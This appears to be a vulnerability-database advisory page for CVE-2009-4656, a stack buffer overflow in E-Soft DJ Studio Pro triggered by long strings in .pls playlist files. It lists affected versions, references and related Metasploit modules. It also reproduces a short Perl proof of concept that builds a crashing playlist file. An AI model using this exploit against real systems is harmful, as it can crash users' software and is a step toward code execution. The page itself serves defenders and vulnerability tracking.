CVE-2009-4656
Description
Stack-based buffer overflow in E-Soft DJ Studio Pro 4.2 including 4.2.2.7.5, and 5.x including 5.1.4.3.1, allows user-assisted remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a playlist file (.pls) containing a long string. NOTE: some of these details are obtained from third party information.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β if you've already worked around this in production β publish your fix to the community-verified tier.
β Propose a mitigation on Community β Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
DJ Studio Pro 4.2 - '.pls' Local Crash
#!/usr/bin/perl -w
#
# DJ Studio Pro 4.2 (.PLS file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
#
# Vendor: http://www.e-soft.co.uk/
#
# Usage to reproduce the bug: when you created the malicious file, load the file and boooom!
#
# Platform: Windows
#
###################################################################
==PoC==
use strict;
use diagnostics;
my $file= "crash.pls";
my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;
open($FILE,">>$file");
print $FILE "$boom";
close($FILE);
print "File Created successfully\n";
==EndPoC==
##Greetz: Greetz myself for find the bug.
# milw0rm.com [2009-09-15]
DJ Studio Pro 5.1 - '.pls' Local Stack Buffer Overflow (Metasploit)
DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH) (Metasploit)
DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH)
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| e-soft.co | dj_studio_pro | 4.2 | |
| e-soft.co | dj_studio_pro | 4.2.2.7.5 | |
| e-soft.co | dj_studio_pro | 5.1 | |
| e-soft.co | dj_studio_pro | 5.1.4.3.1 | |
References
- http://secunia.com/advisories/36728
- http://www.exploit-db.com/exploits/9691
- http://www.vupen.com/english/advisories/2009/2681
- https://exchange.xforce.ibmcloud.com/vulnerabilities/53310
- http://secunia.com/advisories/36728
- http://www.exploit-db.com/exploits/9691
- http://www.vupen.com/english/advisories/2009/2681
- https://exchange.xforce.ibmcloud.com/vulnerabilities/53310
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.